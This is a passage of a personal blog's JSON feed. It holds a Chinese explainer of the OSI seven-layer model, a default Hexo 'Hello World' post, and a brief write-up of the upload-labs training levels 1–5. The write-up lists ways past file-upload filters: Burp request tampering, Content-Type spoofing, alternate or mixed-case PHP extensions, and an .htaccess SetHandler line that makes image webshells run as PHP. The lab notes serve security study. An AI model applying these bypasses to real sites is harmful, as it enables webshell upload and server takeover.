            "content_html": "<h1 id=\"osi七层协议\"><a class=\"anchor\" href=\"#osi七层协议\">#</a> OSI 七层协议</h1>\n<p><span class=\"exturl\" data-url=\"aHR0cHM6Ly9pbWctbXkuY3Nkbi5uZXQvdXBsb2Fkcy8yMDEyMDEvNS8wXzEzMjU3NDQ1OTdXTTMyLmdpZg==\"></span></p>\n<h2 id=\"第一层物理层\"><a class=\"anchor\" href=\"#第一层物理层\">#</a> 第一层：物理层</h2>\n<p>用于传输介质中提供物理连接，实现比特流的透明传输。物理层的作用是实现相邻计算机节点之间比特流的透明传送，尽可能屏蔽掉具体传输介质和物理设备的差异。使其上面的数据链路层不必考虑网络的具体传输介质是什么。“透明传送比特流” 表示经实际电路传送后的比特流没有发生变化，对传送的比特流来说，这个电路好像是看不见的。</p>\n<h2 id=\"第二层数据链路层\"><a class=\"anchor\" href=\"#第二层数据链路层\">#</a> 第二层：数据链路层</h2>\n<p>负责建立和管理节点间的链路。该层的主要功能是：通过各种控制协议，将有差错的物理信道变为无差错的、能可靠传输数据帧的数据链路。<br>\n在计算机网络中由于各种干扰的存在，物理链路是不可靠的。因此，这一层的主要功能是在物理层提供的比特流的基础上，通过差错控制、流量控制方法，使有差错的物理线路变为无差错的数据链路，即提供可靠的通过物理介质传输数据的方法。</p>\n<p>大致是用于局域网里的根据端口的 MAC 地址做转发的协议</p>\n<h2 id=\"第三层网络层\"><a class=\"anchor\" href=\"#第三层网络层\">#</a> 第三层：网络层</h2>\n<p>主要功能是控制子网的运行。通过路由选择算法，为报文或分组通过通信子网选择最适当的路径。该层控制数据链路层与传输层之间的信息转发，建立、维持和终止网络的连接。具体地说，数据链路层的数据在这一层被转换为数据包，然后通过路径选择、分段组合、顺序、进 / 出路由等控制，将信息从一个网络设备传送到另一个网络设备。<br>\n一般地，数据链路层是解决同一网络内节点之间的通信，而网络层主要解决不同子网间的通信。例如在广域网之间通信时，必然会遇到路由（即两节点间可能有多条路径）选择问题。</p>\n<p>选择最好的路由线路，已获得最好的速度，比如有三条路可以走这层协议负责选取最短的路径。</p>\n<h2 id=\"第四层传输层\"><a class=\"anchor\" href=\"#第四层传输层\">#</a> 第四层：传输层</h2>\n<p>该层的主要任务是：向用户提供可靠的端到端的差错和流量控制，保证报文的正确传输。传输层的作用是向高层屏蔽下层数据通信的细节，即向用户透明地传送报文。该层常见的协议：TCP/IP 中的 TCP 协议、Novell 网络中的 SPX 协议和微软的 NetBIOS/NetBEUI 协议。<br>\n传输层提供会话层和网络层之间的传输服务，这种服务从会话层获得数据，并在必要时，对数据进行分割。然后，传输层将数据传递到网络层，并确保数据能正确无误地传送到网络层。因此，传输层负责提供两节点之间数据的可靠传送，当两节点的联系确定之后，传输层则负责监督工作。综上，传输层的主要功能如下：<br>\n传输连接管理：提供建立、维护和拆除传输连接的功能。传输层在网络层的基础上为高层提供 “面向连接” 和 “面向无接连” 的两种服务。<br>\n处理传输差错：提供可靠的 “面向连接” 和不太可靠的 “面向无连接” 的数据传输服务、差错控制和流量控制。在提供 “面向连接” 服务时，通过这一层传输的数据将由目标设备确认，如果在指定的时间内未收到确认信息，数据将被重发。<br>\n监控服务质量。</p>\n<p>负责数据包的重组和排序，从网络层获取的碎片式的数据包重新排序成原文。</p>\n<h2 id=\"第五层会话层\"><a class=\"anchor\" href=\"#第五层会话层\">#</a> 第五层：会话层</h2>\n<p>主要任务是：向两个实体的表示层提供建立和使用连接的方法。将不同实体之间的表示层的连接称为会话。因此会话层的任务就是组织和协调两个会话进程之间的通信，并对数据交换进行管理。<br>\n会话层的具体功能如下：<br>\n会话管理：允许用户在两个实体设备之间建立、维持和终止会话，并支持它们之间的数据交换。例如提供单方向会话或双向同时会话，并管理会话中的发送顺序，以及会话所占用时间的长短。<br>\n会话流量控制：提供会话流量控制和交叉会话功能。<br>\n寻址：使用远程地址建立会话连接。<br>\n出错控制：从逻辑上讲会话层主要负责数据交换的建立、保持和终止，但实际的工作却是接收来自传输层的数据，并负责纠正错误。会话控制和远程过程调用均属于这一层的功能。但应注意，此层检查的错误不是通信介质的错误，而是磁盘空间、打印机缺纸等类型的高级错误。</p>\n<p>为两端通信实体建立连接（会话），中间有认证鉴权以及检查点记录（供会话意外中断的时候可以继续，类似断点续传）。</p>\n<h2 id=\"第六层表示层\"><a class=\"anchor\" href=\"#第六层表示层\">#</a> 第六层：表示层</h2>\n<p>其主要功能是 “处理用户信息的表示问题，如编码、数据格式转换和加密解密” 等。表示层的具体功能如下：<br>\n数据格式处理：协商和建立数据交换的格式，解决各应用程序之间在数据格式表示上的差异。<br>\n数据的编码：处理字符集和数字的转换。例如由于用户程序中的数据类型（整型或实型、有符号或无符号等）、用户标识等都可以有不同的表示方式，因此，在设备之间需要具有在不同字符集或格式之间转换的功能。<br>\n压缩和解压缩：为了减少数据的传输量，这一层还负责数据的压缩与恢复。<br>\n数据的加密和解密：可以提高网络的安全。</p>\n<p>决定数据的展现（编码）形式，如同一部电影可以采样、量化、编码为 RMVB、AVI，一张图片能够是 JPEG、BMP、PNG 等。</p>\n<h2 id=\"第七层应用层\"><a class=\"anchor\" href=\"#第七层应用层\">#</a> 第七层：应用层</h2>\n<p>它是计算机用户，以及各种应用程序和网络之间的接口，其功能是直接向用户提供服务，完成用户希望在网络上完成的各种工作。它在其他 6 层工作的基础上，负责完成网络中应用程序与网络操作系统之间的联系，建立与结束使用者之间的联系，并完成网络用户提出的各种网络服务及应用所需的监督、管理和服务等各种协议。此外，该层还负责协调各个应用程序间的工作。</p>\n<p>如邮箱使用的 POP3，SMTP、远程登录使用的 Telnet、获取 IP 地址的 DHCP、域名解析的 DNS、网页浏览的 http 协议等；这部分协议主要是规定应用软件如何去进行通信的。</p>\n<h2 id=\"osi7层模型的小结\"><a class=\"anchor\" href=\"#osi7层模型的小结\">#</a> OSI7 层模型的小结</h2>\n<p>由于 OSI 是一个理想的模型，因此一般网络系统只涉及其中的几层，很少有系统能够具有所有的 7 层，并完全遵循它的规定。<br>\n在 7 层模型中，每一层都提供一个特殊的网络功能。从网络功能的角度观察：下面 4 层（物理层、数据链路层、网络层和传输层）主要提供数据传输和交换功能，即以节点到节点之间的通信为主；第 4 层作为上下两部分的桥梁，是整个网络体系结构中最关键的部分；而上 3 层（会话层、表示层和应用层）则以提供用户与应用程序之间的信息和数据处理功能为主。简言之，下 4 层主要完成通信子网的功能，上 3 层主要完成资源子网的功能。</p>\n",
            "tags": []
        },
        {
            "id": "https://sovegetable.github.io/uploadlabs/",
            "url": "https://sovegetable.github.io/uploadlabs/",
            "title": "uploadlabs解析",
            "date_published": "2020-08-10T16:00:00.000Z",
            "content_html": "<p>第一关：<br>\n前端 js 函数白名单过滤<br>\n方法 1：BP 抓包改文件，先把 php 后缀改成白名单里的，然后抓包在改回来绕过前端<br>\n方法 2：在浏览器设置里关闭 js 函数<br>\n方法 3：在 consel 里运行改过的 html 源码（亲测未成功，js 路径报错）</p>\n<p>第二关：<br>\n对于 content-type 的检验<br>\n BP 将 text/plain 改为 image/gif</p>\n<p>第三关：<br>\n黑名单后缀<br>\n用类似等效的后缀代替（亦或是大小写）<br>\n比如说:.phtml .phps .php5 .pht，但如果上传的是.php5 这种类型文件的话，如果想要被当成 php 执行的话，需要有个前提条件，即 Apache 的 httpd.conf 有如下配置代码<br>\n大小写都可 如.PhP .pHP (亲测失败)</p>\n<p>第四关：<br>\n更全的黑名单<br>\n.htaccess，于是首先上传一个.htaccess 内容如下的文件:<br>\nSetHandler application/x-httpd-php<br>\n 这样所有文件都会解析为 php，然后再上传图片马，就可以解析：</p>\n<p>第五关：<br>\n黑名单，加上了.htaccess，但是没有将后缀进行大小写统一，于是可以通过大小写绕过，在 content-disposition filename=xxx.phP</p>\n",
            "tags": []
        },
        {
            "id": "https://sovegetable.github.io/hello-world/",
            "url": "https://sovegetable.github.io/hello-world/",
            "title": "Hello World",
            "date_published": "2013-12-24T09:49:32.000Z",
            "content_html": "<p>Welcome to <span class=\"exturl\" data-url=\"aHR0cDovL3plc3BpYS50dy9oZXhv\">Hexo</span>! This is your very first post. Check <span class=\"exturl\" data-url=\"aHR0cDovL3plc3BpYS50dy9oZXhvL2RvY3M=\">documentation</span> to learn how to use.</p>\n",
            "tags": []
        }
    ]
}